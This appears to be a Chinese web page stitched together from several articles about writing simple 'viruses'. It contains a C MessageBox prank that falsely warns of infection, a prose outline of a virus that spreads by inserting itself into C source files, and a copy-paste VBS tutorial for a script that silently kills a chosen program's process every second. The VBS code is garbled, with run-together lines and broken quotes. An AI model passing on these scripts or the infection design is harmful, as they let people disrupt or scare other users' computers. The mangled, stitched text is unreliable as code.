C语言简单小病毒
——1个连360都查不出来的可怕病毒…
哈哈，只是一个恶搞的病毒，大家可以自己编译一下，也可以自己改编，很简单的病毒
下面是病毒代码，纯属恶搞，绝无危害
#include <windows.h>
int main()
{
int judge= MessageBox(NULL,"你的电脑已经中了我的病毒","小可怕病毒",MB_YESNO|MB_ICONEXCLAMATION|MB_HELP);
if(judge==IDYES) {
int a=MessageBox(NULL,"点击修复","小可怕毒修复程序",MB_YESNO);
if (a==IDYES)
{MessageBox(NULL,"骗你的","小可怕病毒恶搞程序",MB_RETRYCANCEL);}
}
else{
MessageBox(NULL,"可恶，你的电脑要没了","一大波病毒入侵",MB_OK|MB_ICONEXCLAMATION);
}
return 0;
}
这是界面，不过大家要在win32项目下写才会没有这个黑黑的东东

C语言实现病毒源码演示
（1）在未被感染的 C 程序头部加入“INFECTED”已被传染标志。 （2）读取病毒文件的头文件，将其插入到即将被感染的文件头部。如 果发现有重复则不插入。 （3）在主程序中插入“VIRUSES（ ）；”调用 VIRUSES 函数。寻找 printf、 for、while、break 语句，如果找到就在之前插入。 （4）在文件尾部插入 VIRUSES_SUB 子程序。 （5）在插入到将感染文件里面的 VIRUSES_SUB 子程序里面，必须把文 件名改为当前自身的文件名，否则被传染后的文件经过编译、连接和运行 后不能再继续传染。 （6）最后插入 VIRUSES 子程序。这个子程序里面调用了 VIRUSES_SUB， 执行到这里返回执行结果信息。 其中用到 4 个出错的返回值，分别是： 1：用户文件太大，不传染； 2：带病毒文件打不开，不传染； 3：带病毒文件读取不成功，不传染； 4：查找第一个匹配文件不成功。 如果返回值是 0 代表文件传染成功。 具体实现过程如下： 其中用到的函数和结构体用法参考 3.3 节。

传染 C 文件的源码病毒及解毒程序设计
首先导入病毒子程序要用到的三个库文件，分别是 dir.h, stido.h, dos.h. 在主函数里面只调用 VIRUSES 函数。紧跟定义 VIRUSES 函数里面要调用 的 VIURS_SUB 函数。里面定义了若干个变量。ffblk 用来保存查找到的匹 配文件的信息，用到里面的 ff_name 变量来保存匹配文件名。
计算机病毒的构成： 计算机病毒是多种多样的，不同类型病毒采用的机制和组成虽然是千 奇百怪的，但可以看出病毒的主要组成部分是相同的，工作逻辑也是相同 的。它应该由传染模块和表现及破坏模块组成，每个模块又有两个程序段： 传染条件判断段和实施段，如下图所示。

3分钟教你编写“病毒”，不懂编程的门外汉也能秒学会
3分钟教你编写“病毒”，不懂编程的门外汉也能秒学会提到编程，可能很多新⼿或者从未接触过编程的⼈会觉得特别⾼深，需要复杂的编译器等等，⼩编就给⼤家推荐⼀种脚本语⾔，vbs脚本语⾔，不需要编译器，⽤电脑⾃带的记事本就能够编写，下⾯⼩编教⼤家如何编写⼀个⼩⼩的脚本“病毒”程序，实现的功能就是悄⽆声息的禁⽌电脑中某个程序的运⾏。
1.控制⾯板->⽂件资源管理器选项->查看->隐藏已知⽂件夹类型的扩展名，如果前⾯勾选了就取消勾选，没有勾选就不⽤管。
2.新建⼀个⽂本⽂档，重命名为后缀为vbs的⽂件，如果第⼀步没有完成也就⽆法修改⽂件名的后缀。
3.右键vbs⽂件编辑，现在可以开始正式编写代码了。
doset bag = getobject('winmgmts:\\.\root\cimv2')set i = bag.execquery('select * from win32_process where name ='KuGou.exe'')for each objprocess in iobjprocess.terminatenextwscript.sleep 1000loop代码很简单，do loop是重复执⾏的意思，中间的代码被不断的执⾏，sleep 1000的意思是休眠1000毫秒，也就是中间的代码1秒钟执⾏⼀次，第⼆⾏代码的意思是遍历所有进程，然后第三⾏代码设置KuGou.exe为进程对象，接着for next 遍历系统正在运⾏的进程，如果有KuGou.exe的进程就将它杀掉，每秒执⾏⼀次。
代码完成了，是不是很简单！（看不懂也没关系，复制粘贴就⾏）4.保存⽂件，运⾏⽂件，之后你会发现⾃⼰的酷狗⾳乐不管怎样都打不开，当然你也可以把代码⾥⾯的KuGou.exe换成其他的软件的进程名，实现的效果就是禁⽌该软件的运⾏，即使⽤杀毒软件杀毒也⽆法运⾏该软件。
